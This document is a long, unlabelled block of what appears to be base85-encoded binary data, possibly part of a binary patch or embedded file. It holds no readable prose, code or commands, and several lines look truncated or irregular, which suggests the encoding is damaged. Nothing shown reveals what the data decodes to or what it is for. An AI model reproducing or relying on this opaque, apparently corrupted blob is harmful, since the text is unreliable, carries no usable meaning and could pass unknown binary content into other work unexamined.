z)ROJx+*7yxT6Qy~AvPZl8i%L1{`3^G{mM|t=?4)%dKZnhyxWDsztRJ$1h$ReTWii+ znbB8fD^+EM#4g@!f5GNMDNh7NroJSeU%}dc3rV~6Ls-{uVF9)xT!SqcvUIi)jB}y! zfURe~&C5lpfb-*Szt|SPSk+f8J?G6xw*>ZQIlpt2x0(xDEr4xH?Dw2?x4=X!be+p| zY?v*`^;KJ;T_dokx?$nr;v;~IuY0`(?J024Yh}>AmmqDhcMo|N=Yqx}UpX`R#pwGr z`7OQKmb*C@+ATlh-5&Cab~p28D4c0;i3f5UejADlgu})E{O_J18;$qd(ZDbFc^7&+ z^POL~xDa&=*}nAC&^_&yF(7Q(H7^TbYwLe5{&DqsEy zJmI9e#e27&`my|}|4a5u+PhY=*?ImWY0V?&DcyqO`Q;zt-ulk@O8Ayto`?QlbvDc4 zEeE#taH6yGoB;bQ$KjCEqwI5>OE#VQxSS`4Nh=eJJ%?e7kF0Z&r~G47S}psc|8%k| z`gBTQnyH+R2B^Y0wqkb`iz}S`GYx5%XNMMzre5=y?ZB`pp6iSluE<|`G=xWfc? zt$H-l=1#({m5Spe!-UL|PoSdgIjN}9yXU$5P$lEyUxWvoek69?=|Kh+{Wy7$))0s| zX{R4IoN()REr~lxI_U>YIrq<_C2;kYw5z4G-Gvm=38^(pm1|k@_j0z6su}vP`J5^<%;wiUxEsNM4%I;L>0n5|PsKd!%e=SkQzr?EUM;J}=0}or(0&3{ zw48V*r_ik+ZOZtSB0(-gStbqUJlF#gkSKh@D7wA)HU1639&N#tvje|XXPp7 zxlFPm<-uV*$zUZ29Hl&(>Ne5}emw#<1@q4H*)`8D7H-1jmzkGeO;bK)NSYHRWvtM<#-tfzi*R-ps3ei2UIty|W==Yp~-%YqCUkzl- zSu}c<0Pll*VcU{Z~F$?DhqP6?O)%?qpR(C1=6VPQ8 z!0JV4y(!%c%YYaJ29`58E`jv(n^$IA)3p7yWU4E_pjfX-8;wP~-aWKy91bJfzTh|C z;RRsL#nIT~AIR!gnpS-{Q6(`p0sbiNB++r^DG>>p#frSx)ADge%GV zhsMA4d@SXeHqP!V@R4>akKNrq#I-Cu@sf zz*B3-k`NEiXq#-)!_GVv)x&gR1J5blsp$NODYrfuJ&`ZPVmP4!N#bWup7|UwmSFOz zNoSarCJ#ANjw)2F5MP(TdC~?6`On7p^wXc)a7cLG0 z1IWGAP;3Mi%tEPVUSqG|_xNLv(|V79{fk%vTm5w;@&K?vaoLl6z;+pWOSzVVx(~xk ze@FPtc>&&p6z~?|B9ncPwrwWGVcQ|xGMNAJ^0WK{u(eh8eXre~{PuV^`kwGkI7YE* z8NVX;8iEbK{cInB0* zXX9Z^EY8)If%n+(>Y`+Mt``~R1ZSCuiVp4-`zawqn z#WRGP<^AhevumS=!baEG3jCUCb-lCwC7p}>Hu;FUm(Qa2?)r#)D$Y5r&QyJn z*3m1=IDO2^iH;*59-l}#B9_wUJq6C0lLKDv&Oe7kN+>6FE1|C(Ec>)M%cLDmA2RWm zOsVFg8J5%?4@NKPC#6g82cK-aTR9yS4Gp(mZM0{?rCd3uRh4tLy6f_iTC&}CoLw?Jlor)9Y{-w>SvjL6iz}acHQZ=0%i9dgAg^);p3S?lQ~;_0(9QC zGPub+1=*?`6}zZp-56j%U0>)QN-YWZomBat{Amz-GFUIcq{TBO?$1y? zxZBb@xxXVUGF67Y1G!de?8^g&b3GTXEf0tl0xX+|jlKP~-{_zCJRrO&xY5{u{MTr# zR5J48S3*}j!B~?l+{!D{%m2SHd);>vbY7?~e=XUqC@p8gYrmHDE#Pr#S+eu0^R+dy zKlEEz;#__L%YI`o9)WEyO}I{Iy~eV}UMWSm(5_JzPw#r{D^j)r5o;(6*d82)ZG+4u z_{V4z*yMYh!?PeWOTjPS3of4ZoLBtYS82xHMse$gUu*<}v`cV)Da)@q^POL2zIq*6 z^IyHpEF9KL&bc4L)ht*bJn$>*)zT0>2y7=f3R-0Hlr6c*|V40a@SeJ+=h8gt|so+YPfC{u+k`xe*A2m%dOm9?x@S z_ca*%HcE3jjkM*-@VA$KSz2S3Eb$~41b120i^AEOcVga|ez<{QC{tH$2m607DL!C! z_b_HzImaG@LRqe~c&gj?mO_^DviqUZ|CV*sqjZ$h8zC$3=-1YFS5zgsGsHCt{HXJjZ{W&70|&(f(* zpWf1vx@%eO;UrxBx8~A2MCI5V6) zJsKd7GpAyUciU5l(kg+>M%gTDm#C{lcKc2&A=1x-xT|C+F)bmmW{RdXf>tVFd(?x= zl_!PrP=Zsw4lE66qY?c2AHsr4rD<>FG~t$Jd*r;fBy(mmbd;QD=4%Z~{Qe>6(VVXU z*Y14tH}5}dK+K!cy6e(hSVjamd$tSDdMlh;o>ns3C7kiD$amxLuHCWe1SzPXxqX9~=y*MMxuZ9zuBEE8U!x|p}% zcl}JX{{GSOn05MCS{GR+`VEZe*<-Z5PP_2jSgfCHRM-*yQV3Fl-A5$2Rl+M}u&|Y*DSY3R*J-&S)5V^_Jh1X2`p_*ddR( zFzC8qc80<->Y7P$D?_`5z{Ri~7$-B|QZ~<;e4*n7xxrf@@P)cUT6+Ln2)8t~5^lFSfBwLv5AGwl8Z%T`Wy(=S=Vmq68FA9#bKnA28Xq^yk?Oo2{@B09+ z#RgcP=UG}WKql~c!vFQ;FY!aLmhXgb&nZ`dE4KWd{7fOL(JO5w7UFaQhd0ZOL z_5Y2$TY7u$Let3@Q)rA|o>WnPR^m@O-2WUq)!6@fohs`nmCI*2**bLjgo!5yHhbnQ z$59PgixcZ84ut1?IGW1lixRqXGPFR4Lzhcnr$VFrG|-xe$io$6ld8lZ= zc00KYI;490<0MaQVa%?LX^(6wWF>v_nVkG9Hv0SV$+oxhT*zpzJ1LoV{U9ntKX}%i zek4Y}Q`w`y>3Mc=XU?uYN4bkmNat59&br%BU?)5uCOJE*{M8#h$nJ}x zX&a4YlUWHn7U$%l6A9dsa=MKyyH72#U38W>v$czoaJpry?^NMIDwSHIZnrV{M^h!x zNYAx9Aqh>kk`Pi&h?cH`A)948rJT%;Tj5_* zGxqEbN=Ku>zWRH_g_*~>?9i?`7X(HI&w{#Q-U``}+YCE0Q>|H;En}>B7Wl3EVOT?M z{i!26xf^3O9M>Tf5@f#$K_im^U6!SNw~=|M*dBz~0(rOe~mXDD0fxZQ#{} zS2N#m?qlFw+w(+!({_+Ei>xH&>gl7^KKA6%q#3A(42el)_x(dcf+v1Pl3H_ z1l9}BW!TnTmtZ!|41a66aM;sckATs`xnf?%y9Kbm81*t8zOmO+U}fkDuco@q#c}@M z&9+CgD7d(F2EG-mq$FG3<jy?0;{JTB2Az9(GE>Z2d3SePaDL1GF zV7;rY&Bd_l=(n-A`gpI{zGkFbp0e?evyFe%u8X#3m|_m?;~C?|$*z7f{HX`Qz88AD zqXuLyqZ<3{?bA6uV=PU|;aUFA3VIlri?>ao&E!Z~r5Z<)6yF1=YO!r`E~*^-$j#=5yO2PD{>5)LCx*B-sZ1`#AV< zX6w@(=Rl5vIoEmXoESOImD7e!cNl&4QwBSA!n91w$#3WOuyx%h;YyVTD!iPebxt*D zkIJ=ym@P6-GiS?5*p;*MoW~gtJ^QYl9XRFWaR$ZGLq9V4ODV$%rJM|oB9CHc3uUJw zJXO%_d)F$#?u06*N%GfyjM7u0d(*Ou(lC!Bo8%pPl=Cc(jS`td)K#aQ-SX_`Wl8h+ zb*B@OklY@1vJxtPUx{*c)tV$7POR=+R$@!vkEwq8xs=3q$*@y>CvO3oNiJn=`8viF zC3AN&X{nxjhgTA%orJD_oc(|#kslA?jv_o;&UQYoZmB%#)5&)O)FtQ1Ow@?GN|oSB zMGMGG&g@c)PF!?4OdHNKr6&WjxvSewk`Bq%byco=QzjJCci_+g{$S9!7j_^eTWzX_$3fDelc?6aG+QqtndFa^VPk{H{k507@_}%e8FDse&KmWy4kWboZCMN&9amSdyfqAg^LS{&Bg0m!0_^! z{}#s1>(HL_&I`}>YYH4XwqdpnEYI-QgWxj@?zymlcdp{uvCC*2_AftcnHQvky%6zG zaI;iY3m}&f7?jmhl1yKp^du6VNG?V2_2syucyX-3tF(;P;9%flvuGXy9WXdq+rHYW zOJ4y#mz^vVQoCYUUE*290B;ecJeuBWD>4zNm9<+oew@4-J)SZy!4U%*!~&b5S0yon zIPeFUjf~6(R6_@5A|K=b>why5lQ6sM058q^kZ;eSfQRO-UkTqOKJx#r-@9M6nAxSh zFTqC-lk*4t^{^wZe+BDjSH{lJyJw8JcUPXj($Z8p;>z}w@TvULD9KO$ZtR%{{|`|S z|FBEX-wC_irRh8$A>R7%Z!quhJmy~Je>?df#XC=V=HE-Z#NHWb_4|G)bpYeQrn6t4 z0I_}0>fM~X&N7EO9oXz7+$Xv@?Fd{2`P6%x`bjod^D$=!^@w`N|LBU$I{^l=toO8Rz~vo!%`7J z9+Mtc+vS&RN|a$+*?c8=mw41lMJH4$V#(j(Nr=XIj;BkXw9cSZ{mA+dh@FH)d8t$u z>oKPRCz)pW^d@JF)*l&B)V0mi?ZC3t&lGYeS>hxun!YPT1+rClqWYoE)0Kx1#J!}A z*_!HkuFghp>2NvGt7u=-Ogyybkn)UDvhG1i98Md07P57#QaaBiAj8}duY2+kX#Z4X z%T)xnN-H3(mI^}a!z{Gq&XT7CU9A~z<)@)51VAR%xaw5m*2_?SoB*tBQ)d|NVQd3$#=8J-g|nr5ehB)2 z@R|$vc-L$zziIb*w^KxHE@!Wyp6pKg-x;o+kc32No$_f6c`V9`xE>EypXSmwW3V2<6)_Hp__J*{Y=DX z$P54aZXy;AHv-$%ThN;S8i$RyFt52-N&zo-)3NMayw3~~k1ckFh~eBB5NDZPgYeL< zA-V*)dd^$Rg46MfTT3$}Tf1S~{x0xBU6bshU~?f>sf+nA%|LpTi0lL&rg5bMEo5 z1bg{OXQ3+yth;~MnPvDF=H)KtRje;F?@;iPfwvVt{EHoAZWcbyK9fsOwhr@8zQC`R zTCC&`S+=gj{EMT94(<{=?Ze(xwmq`#{K=NM8vE1UUR~{kry_ZFwr#(XOyDuz8U8}l zyP2ow&(c2if1zkTx|gz2{b{yn_J?y1my=-$K61|P7}dkzKvmd|W9bYScAVa|0rhUHXzlz1E%z0PLkbG zv#So1lbon-Qb%7dYpU+0Y?=JF=Z?(BREKonm5`|3QXzMK`e8}Wb)OPlPT4w~C>ody z5jc?2O44;Pl!44H!BYKODUCmYM2$^XU41l>;h)_f8lcKFKt(N`93xBGcJ=IzZT(JF zc16weDnmcZZg2b1YnRgN@zWI#z8h=13Qe=k;>{%jRE*YxIW$;o4)>E!AJ@#JUAvPa+%J8d4#X;JD<;C|{QRt8tpXEl#6 zqj*yf9zjogPqxXNYzu@#$5mQM1kMt#*Pek~JEaNm3UzfomN?}vGA#joD%qL^H?-!J zX5|?QCS)i$8BqEcq#J%~T)W?Y7Se`}g|32MFB@ZpuEySfMrMC0xwJc%;5UEgs0=_@ z6ddyHuK-tUoM-H7jb4HFEErhU(jYAO6~KDb>(Ooe%zqWqcsqswnRlLH* zL|jf^agLoiuSdY*R%FevjCV_1TY=&~0N&x;vup&8#{diSmbi>u{c1Ezf7Q2GxQ4$T z?CLdX+eTfz{4Bq}>I)r@61+Ww;QZz@vtV(tC%>8J8hD>y_}v0=afZKoQyLJysCKh3 z^IXeDBTDs-_L7@G5naCPaYo@Io2H6uPheg)_HUK)5-_p$k&uQ|7ze#3dm zdcs>TKMx4EkvE@>zI~&V|x%R&c(JMvtv-V{Oo$U zX1m3$_r=)P&i)x^Pl55|UQp>t@ty^rq3~g0jetud0@Xdn^~aJ5HnWRnl=nfsVlOQ1 zr6IS@>N>8&x!enL9wA;XkWmI7@;g=X@8z*wB1=cTVdRLr)wkyz^}9zIR?okSXIFDQ zuGPua%ny&C3{!42ZT!^?t0)PlvCj|u?7BKj9{d?j=I-YNzCEjlnQ|U|?>;D~#SA140U{jB2MpQ@;bJN(D4p0XU_IFahu z=CfSRbzaUvPP-#$Lx;LKZE~E$a)ungYiYOrJ3Ri0>Qip{)eLuc z$eB~g5qHQaF{n;&<(W@oy3N+kNr(1mmnaviWfHpFu^m!NJ{CSVEq6s{kO#lFr0#Mq6+v&Fk2ZLqs-YtpSh5DM`KxjRbv=@S`EPKbAREP6uHJP+mPijofP*CSJ? zohjG)2u4N&JWFdTt&;doHa&usC!0g&zQ=&a1uGp)JYn=>qLb%gT4+?ax zlfhzQlflWOBy)R8pztnNJ!HA6P)kZXkNyt4Dz;MM>1Q(7sI5G*i=Mh(PPSdn9NPbj za9U&O@i?a^!UEX&7nH63p;~P90N6_A2PZ@fTU-5|Uu%YT1-ucsncj7XS-8FnOxi|W zE$0iu7(i?89i=Upx2e_`8?pwa#kSDy;By&+wAun=8*S~@F{?#}bK=$moDOfz~t0%u&8j3Np+sqsI1$!N+32y=NjDUxTGXf6k zu3vs;B0O_p8$IDYG7ob-;T;^7F?jpl(yl-?cL_B1jYls_`@6uS(N}!|+eY9a+>N)T z5!*KT`i~r$jvIT~CDtqq)xyO^#96K>@Dc=pi-LU#SKHQ>`LsD#NW1Kw|1Kxkt0aK! zWf+q^pY@zqBig}a<8YXF?`phTq+Iu)ZrffKgwAZ&17D%*o(1=pf`zC?;JPpP4dE&Z zfAM44b1%%yk3R#py(Nv`kuGIvbRpQbPT+@v#j0D@OZnR-$rFJsfPAOcd8-p};0!+} z`5gY&0sg{)<)4s;p`~RCL|^w;AW_eI%PRJ-b6F*sCdb&$V^97z)W9I^G`x(DHg;?& zf4P2E(x>ideo*FdK6l5t`=^=N`lYuiJ(}O6*6#k0^Z0A`^WQqpYuQKm^e{#ze2BB` z-TCn4-_9wtos)e12QwK6f0V0TJjY)NA35>7{}oO-pDKNp^WiFoG#&Zu+$ZE5)%Jmq zK%X#mc*A&{DogLPTz0)ot+rK*ip2V^v!(soB6+u@@Ou{zJ;@S*a`_+w?Yp+HH*MJ?vnLOi9MOd|><_o{_B#BamQjTS8p}ud=o0Ff190SeuT|R*7|iz}WlVC^KYx3J) z_>~5a#o7`A9|{)X9`Y@`g>c7kww~?&cTIcsXMcmeGNdnn&AmLn!o1D7!CNaEbv4^< z)Rp~Y-cT@jTU5&>8JAJlwCh+9SVLaD2rZ2{w;|VWN6$o96x;&v)?6%ZHR@`TJIrg_ z@TvlxH!N6TuW#df7$kkg~#83 zEQYmnK-k8a6#J*EN@Lm;5i{fkggq1nijB0U<5KDh3+MN*0=(He@S9QZO~ju0qTwf? z>+WlhgByg6tI)0p7utn$L%x~t3U$ll$*+`UXj#q=@-^@tfAcTQ>p%Oecb+AHXJcqN z*vn8@NNbHq*6%j=8_uR(?SjL)*Oz}o#GVU-!-ibP3ZDyU^NnCQ_t0*$@F8MeU^WgH zmdYQnH5Ys7x1$GaEvP(UTlg2woqJ<%P`3`@x*XzjdzH{u#|m|QQ0KnUtTccyca~d_ zbN&Md&hi}Quc%94E^q@&vtZ$|<>r_2&r1AVy?R^K(`tJj&Flx+Te5#co4?WjF7dE; zMQv4+f4?Y69;qHn>V7&uKC90U@a_ERBekFZ10nx6LMtDS|6Ja(>UJ7_8#{J(<6L>N zwLC{tPWEWGSW0bKaGvO1Dno~lxQtzzSUqM}&l8bq ziY@`ENTMiTF;?=(x}|AV{^=Y&8En^<+IG1~KDDxI0X^e+KGEd&LrK$ZL`eqwQ_gkC ziAT>h&6M7kJnl9L5m0XROhuFg>P}$i8GjNwGa5a zNs>56L%8!#UG>(_sB*K!XwS|}THU=neQuBQfU$hA0$zbFQ6kd{XIb}J_FcH@tp?uA zf42r(%D&2TInA*0*chHYgWYTaxeIj*hZC~@7LxH+L_7uqT+^=f?H9xL*68K@zVfPb zcF%jxJ^vNqW~y68$wIpq`HFBOGwo_=bUl6rA`=K3ffw)|@(mG-b{mb&!r-lNSV$|F z)n5U&U0iI`%`(owuf_hsEBpQabH=#f@OYlg>ya*8yeGml>TT>DOlEouDG&VOJhaPz z*i@@6(W^nYIX8pg{%)^nH)G#sVdlc{uRxd!rEL+euSVeW+H*~Nn}Tujw~)-O0^T8F zb8c7|=KUAZt2lRE@a#>ykS_>4z#AO)d(q-tL9WPG0=@0*tB1URu>G*@Ah74Ta52!z z%g^Rw5o=|50q^H%n4vK5ITJEtV(G=U5NOjhjsUS*34^h@u@*oI1KjMuqUUspb;xa+!Gp zzZ}KO@3VIa@UNr0&hXmpLwoqQm-3H29CSP&z)$CV?>@yt4P_8`hkxjA!L$KTeCT(H zwttjW@<;w@%&|WPZrMA-{@l8ULqIRjqsm!!=C|h~TZ_LxncBStj|^4fRN3|;%1bF9 zeje)6c|Y$|8DlzmPu1U^5y$9?Wcz5W1=H|HU3Yl-Cu%i+3CeHH)44yo75nJc%N%Gq zr*YVulb+9MKK0e1Yaci{#QMZ2zmIJ@R)HM<9C$P4pk7wT+Wmr9raty?L6tbor>v!PMq*Wbu1oQRYg9TP9DAev^39^>fO%-UQa!N?xC{HC4E0^ zdO+;EWX_yyQ>BdADrKjQ!LI%EQ+JH1mA3J_f!R_U#CEw;oz8E6GItbWGF(sOCh3ss zQMy~{o&0Kya(!3qYK%VXKAlHE9{inLwR}n3mpoI~nU$@LQ_iW>9!a)liRoX-opX|> z#56G3IyM#8)15-}?2zqDpUyxb?NWF8>`o-^>eAScXQGl2S?NcnSbpltpPT%`SSKl{ zl(MmOeV7MM9aRgS5za?YTTG2Y%P&*BER5wR3~* zP_Ra~PTTApF1FuWP_4$kT1wW_UZd_IVlnTv6$BOtm)~RD1;T6BQ(*HlgW%c{y()yU zFN{0@```cZhXtE_ZAJMdeElo{^^foG|An|t!h>(GUkK7k=4OPRl9O6wTL~rLBIo3J_@^|rNJt6i zq{Qw-wv%wzvv*FKoR+e512i+)vLufMlkHJUpAy#=lhY3s{cgk0LP9muTgOwWc)I&p zBIvYazQU>7&pXeqKv%(#jnYo#SVooaiT{oaG^kW@?LF`3dwrMZJq=^e3~k z9sgt|=c<*uSI^VU_Qa3|s?e>E!r1MN#>D#YemgAY-&O;!|NiwwvkETK<%5{^xdzfYtg=Rgq z(vo4eIw4!Sx1J;?XIHEY-V*9Y%%{ZCPg)dNff9hL!BT!8x=6DEZ7am!Spr`sXlyjS zYx0$5^zHE|dCBlc#+%RQ#pZ!o}0>38Td@tBYyRcUz>z}~#6gWye0^8_!7Dn1>>x{HRjn1a>c?>aMLT(+w#j;Tc&0vzv0}2z#8}p zY#l3GOAmtK->uZU&3OyjFEhi!g5n`xZ14KD=gMsI1(PA-8+*@N(D;SMdhNqnUw$m)^>1|JY z#lKK+AUd>L&U%emckS8;>I$OeQ3fHc$HbOhbo@eKi#H3$7Wu-zaItOi?1jBr0=bZH z18)QD#DPxCB6<^0oHkC~(NcZNrjr{E=iKgf?g5c|q7`Z3-)kLMMh{(njS2&uQM z$1?^W_+vT$3NPckRflKm=Ts+lX+EOX?s@#jzZaUi|1SP%cV#$XW78NR-ja-lyGruZvSVp`?lQhIkSF)2P*Q&T_h1wUWoFcJ)f7tD2mx zUh1i7W48P(>8EN@v^9v!xj%|4L+2TRc5$vdPgfeH>g3a*`s8AF1*Vq$3U}<4zZ*`r zj-}_(C&Xf!(UbbQ&?p=aB}i*$8s59pts6VZ9fdw=t>meBM*O<(txnD}az~>+`NX=J z^y4R;o|Swl2_ZxI**$^%F-~$B^DOk%%c~7$ zj=>AhAam)9Se-=1TnB#P+(WyX+m_6Pd-V2f|FORixW~c4VI%OSV1MmbsGIq3V{g9v z>m|GL1bdG@gWw+THrrk!U{8L7y@0TxwKU@#G#2X4RpQ6xz=yNY)hzsEUOCT~eEq}D zhoA$(B4ST$p<@%Sw)*S6241jNM2ugMYuc^(FW4)x_P2nAvA#C^UY;QB`h!OT-axL2 znBTwpfqX$-gRNhUhKqq;b8&I2cXQ_pym+)#`UANG!e(Ut!jX1^%o_5p*)DKhOxmwH zn|33Bd_i5=`I2vgEwkN#utN%m3r?jhEafMo1GDzWDchH2rq{KcEp}@;h9|-r$m+|# z6;d3!{}3>qVOuRdy%pyIyp6qL+wHvk|7aXeI4nGO!S9MafLti?ePUNF%hm~B+)>N+ zIOj^${>a|o@Tzr6?AUi8yKl|*lzo3;_WQYZ$h*+r_q?m%xgO0$kMgnn)1tfQZNCG5 z-+g`l7f7=EcYAyHV9#OdE!gd~eLj}Ez4;hNFrG)-*MD!F_CvEf85{kInsPhCqx4%7 z&yRU>TFxZV%;~!g38t2_(IK*HYw44gmi&y0x|j6E<4m8Ew#3rYKbh^3zn1u?F`ONe z*m0uwW6oBp+Zo&82qym+`>APCojY@d;EAz%CQ5#q=?6(gFO%fe9;H=snRYt*;1ln*XMvUCCJ7T zb>@i2+2JR|p30N_)eLss9i{uKc=gj_#V&i6a^6otxSUQtyBJewdLV6<6Vl<*yM+3; zJ%&P%5!H_~3DW@K{fug3@=S()id|v~@vw83;cQf=9L`kiepuF4LfTO0mBiI2kfpM@ zy%^XlVFtK*ik|j5&y*fP$XC0CpZctH6^g35kU4{0*%pASx>s*tZ`t5;Mah04Elz;< z7HHI~tB80Am+$$ypNo7Y5Mq~7RNDrGJDi(5z;6SuLVRKPuD=d^L+;Fii-G}R-9@{7 z#Wwtw#@H*dN4i778t+28HJtU=djVkyYT(Om|GbsOng#o6jNL=wwt?J(z4n*0zWH15 z8-E#sSy8a5)^iP|5p|QW!>wz!t zJTv^&k6BfSf6|JHu>9kc-eY2cErVdh9ddv-n9SH0?A43Sh0pyJ;Mro%%WKcRHysOL z$LS8WzUS@8qSDm$`7okPO3LNqk8ZQ?1GT6&juowO64sidb#e%g^E8Dq(IdH1-?OFtTN(M6ZD_ zH0nIN%bESMY?_HKXqw}8>&b1#719t4j&zXe^g@_X!y z;rq?M7RX=7S()nxqCwY-mwjlL2HIumJa}?XhM|BMPWyB=;Wk~K!+)LjxxUC{_gQ+9JdFN){#5^L^<56n+kaQwZEt%T*o8*$ zHl&|gZAjMkB>c&koR5(5pRH|IX0G)_4{>Vk9&GP~kA8mHI?7kVYisYiH|5+T^40L~ zfoE4CIn;54^Kq-sT^!{4bf+_z4|P6_<%p{zoK9sr9Qq8_N5OH z7PFfWJIkXI2(YI~lGL)pW6%sytDoJQ(pJ<;g^eF2+2o-_C(N#$O48Ml?byj*2L8H7 zV1pjy+|Bf3M#+{NCS3mAzn_AwRCK~5r+;hI>Jm?Wo}%tb(wgh>NmzH6=5Z2^r<+uM z+oMb#GSf^6#;`thr-9BkEg@i;>YZc?$>{3JPa70+=evrOz7pQD@smLzbUqnu=%Lye z&7|V#&L`Q8ss9cnN_keF<3uTOH>Rz}(jNTi)jS$U$w|~atZUJEZAI^>qa@0^4-I;? z;gG47gdLbvmLXQ2F1?1qJKwKMlP6CSnhWMZ_}*X1r^Z9vtS)XUY6kU%&Y*hHYbzR>=I{b=9tiyoZ#f zH|=U`=DGcbGrTMi)^0BA`OYu&>Of&EhEZ3k@C^KVdC{)7_zrKyZUh$aI=OJTUvggd z`@QJK;k*Hul)nO!CPQ<-9g~GM@ZAUqfw1b%=p;=r$% z7YcsRuKay1yJ(mBFJs?@!y43@g%btj3XltmE6Nz#PC>CTRjeT&*%oYjW6mqN+c*^;%PN7V?(eN<15W;@vbW&v zN#^wwXhu24PkblA3g4~P)(L-oASee^$0+~KnG8RaNRm$eD0gDN!cUdnJ)XOV{ZMJI zD`v|XuIfAIh}*dnR#ZLv6+8Ne(c$^5dil)uL)4K?IWoNSjK{|QSSrc8)whTLB<$BA zbB==N_*dt&bwZnSqm+HZ)LG7FJRj+xxud&NrN=2L=Yd!~w-AxS^i z8{RqlAX>F4qS)weEXGghoV!I6l&*XICqLf3RLS20d#lsfmsNP9vW9nk$zVs(E z59OyWnfyFR8z*)OZLyt1&8Mmi^wX*IM5P=t22N}8fCRRfgi1vo_y4q=R{0&P5^4x4<Dt3Qx0T^sM!>ZtBjoELuZXz6?TcU2-qM(S>t1X-EW8y1){xhD zJ6o0H;@`bowwQO#e@(lEu>#&kW3zBEuP|Bn0#(_5FWNR+;4r@q?J=%cn0am+9tsO) zJ><wkJ zLEvz15oN=#|Edur+fH$)UxAjaUwgLm2HxoV`@iPd8+dQ9H5w1SJ`EGJPUalN-O^b$ z{|@$2=+Nj!gJXBL?fJBG{vT=>0C{+3ImS=Q@(-lk_B`X&$vYvVt>r=Yo0{?ooAW4F@DYe z6o37(iZ<=R=vry@29bzhIh<41ts0zQX`-Nt+}J4BB_ zlM_p~U4^342}{x{;oT&SksnR&Jk)BV{FKHZmBhZXQ;GJIq`HzJZ>qSu;uV1 z?@rRB#gk_;X!kBkpGrdhoq5FGjk3F?P~oKfj#{W&o{WHly&BQ-AGQco*Ba(p)2}r5 zu3ni|$YVg<;mAJk9tww8^|mt<96GjN6XEJUBR_x_ScXz<_t^KI z|7I3EJiCqhfvmkO`whZ|-|(+?hmlRey_>1-;BdbqZ8R1RpEs6;y})nXlf=ku=Z4>6 zRVxk1#jWeL=brG2VJ|=)7S>d^2f<8x&ycs7cc#En;xrvE5N;?=2+UiUT>jWi!Cv+x z*Vx zWUv>SmZxAA5cVt35b=|OjmgJp7A~HxS+EIL)Vz&ZmQyp|Azu%6n}UtTBI17ec?ef} zjf{E8xrx}GqFR0D*F)s~&hH?wjg7kVBJ{&qsB2HZz#PK$4@B$tubA^T1@lt$aRSJ` z7p}s;ok7eC7u%TG?vsVhxuVxHnsArcZzfxlUB9=C-P2y?yff`}2s2{dYPKz27XO-X zO~Jsj|I}}ffbpAf4Z;now`a|Khjy)8bSw~tg$t;`VS51Njki#+hrd<|RE@M3=Ne;; z(t7`SZw<*R5Zd*bT$*(uQ-&KKP86s2J&SZF`#e9jUdB1|KewuxN6x!}r#`!#@W~e& zVa9%le^^fDle3f$@#MtlUBzyDWH@JQj24_)?fEUwuF|RM)BBSTu#_$S_-yz8nJ_)P z4QEid5B($aWBJa52U*?U`tgkMnZ&#K^veDee>(4MJkj~*dxgwD&={%J%HzK?e|*#} z(7%_$*U_#{bUwdvmW#bSoaN-_;;h)mzuJ|bdmAN2f1)@^c7};UnR6hAMkm3eaA!`Q z92ZwP7b@|bRIw|H*kndV=I$g>tDK_f0i(A_E`2|y+Qvp-N?((chNtc9x(y}iSXIR7 zTG_(6YAKv3-zRO1&Y)C|C9OgTv_Mac7pso@pQz$?T$h z6q8d*SFga@(j6HsO_k0tGTNK`_$O^-B%vi|IG^OIm7=$-oXKfp%E|AZKXy^hgY;5O z`au%wXH@uVkFEJ|C`S~|Bbd5UC* zc5Rm@XdK8rQ((_|GaxS8RLd8EMY~+>|L6KcNc~rkMq?T8Is03^o&}%Sn%frtdV1@( zou%O$!5Z@FVhZdL@V^_M8+-q#7oJOCB4)^&QExlhDx{5HfwslJzKTo%-p1Z2B)_1_4#A+QC3eb?^3VB|Fd277bw;qUs(zx{S} z&vU`seJ>7Wp1Yv9`Bzbf<;;aO($&TMSJU2gc?tF&3KnQHEQVx-x)tTg?|2N?qFOvL z{_DIEE&WV;n{Am6pCkrn4}U$Dt)-O0Qn0tT$^+F7v05L1#g@SETL*HV$t$GJ*u%5Q z(1GI0KDv`P)e=e(mD7ADnOc6lE9$MW6MK-q#p5>DEOF-x^n`R@|7%Y}c$ zW6Xm*jm~o^+xZl~ALQZLf!iM0ILGi-s^8A4eswiTw*M89p1=Icw)`X?=c%J(;_iIbNm# zS3wrB&%m-fRb{RvpM%1^JWoev-%(zVHnBwYN0I!KstpxFQyy~SaX;r7yXX-k*s{`0 zhC3UNkY{O)nxC{COa9cwiLCB?KJA>|rsyQp2V$AB*~SwJE_F8n*1LBED!2hlO=ZP9Rl$3 zGPCSLU=uF8x&y`X3s+}Z+03wg&+-CZgKa$i#VWm-Oq8|&UKwIozuv4tum`&{>a`&O zTgp%ZfLCZdge$*d3wU8(wn`}je=zy*EMV)qz?P-h)>oE{gUz#rwA#W()^_o)nD>u= ziqRCz(pwe?hap)lYxjRB@Q?q&p9AjQqG0X%3KSm@W&~WoTbw&E3*j1{n}7MqECa7` z*ubl0=-AWYe-xi;f^6p1)+{~1&DL@XZ;icm58LALkXN1pRdAS5Z-emh#{>5IUVrUK zfAGk$`!62}hxJ=n6)U8@5ZJFemvb&qx0W_QVC@QcEz{kQ%iYZDUCn$8gvG*n3p!wH zfNcc+qTLbzxnmfCJ^U@U^%PhFrnfQ}{+ey|_ksal3%vV8-~!bPdy7&#+hc2U?#uQd zxPR)Zb_-Oc;cp)CgI99qm#-wyNEaM7()Mf2O~IyP$?~;dv2gP;Tx{(16xdrP)@I)G z@^gDk#6_AWSwXAyq2nRq?JQ{365#cH#hQYFUvX>Cf@6nv#j150_ksLCuAKr~aj|w~ z`w-3&+Kq=@l+qY3a>9RrMgxme-H>}j!2yKp%zuS++o|}O^Kw?IN4CduwRe)=P7xm9{=oKGjdbm(%5Z)Z}!RGnmhoKDO1V>^krDSuUrw zJ_PEV)>}F)_X!Z0lCV2f&QVZXm%vIqIa?CtyZmFUocKwl>UFt|H2-L+yG<4H)V&k( zIFmC=qAXML$?0dgp2EAzW=$G)SLufi-6XQ(Uu~QRX=gmEe>&NPCgCleQo`b7bDr9j06&?zyDpteZ;eXepFHiS4V2hvgZzA4yUNO+ z>fTL7^gB8F?u3U@q3y3ICpmtquP8n5Ubg-`8bxV<{GEi)D#-?tBQ-xeWw-bSJ7q@|aGdmi)-+zY_XN3HPbTrx3d|zw8WfMWFS_dJ(!` zX7*>^dOd}E;Qi;MZMM~}V@DNw`|O2Hpe3aq3sFgtQ6oscxKbvANYqYa)h! zb62bfzD2BN-U;C?=%HPWhV>=lo(^jqTvXdjI5+cR_;<1JdIg#hu>L4goSyBrZ6bzn zHyz6(A`UVS2oKmEqksHr&wp#Tm*Qo;(yX_dxeUL0Sz1>?D=$1-BPd2}^4-HV_>J@b{I>3Hzg$gH_=ZHat!wP8M;Y0Ulm&eTxoKd 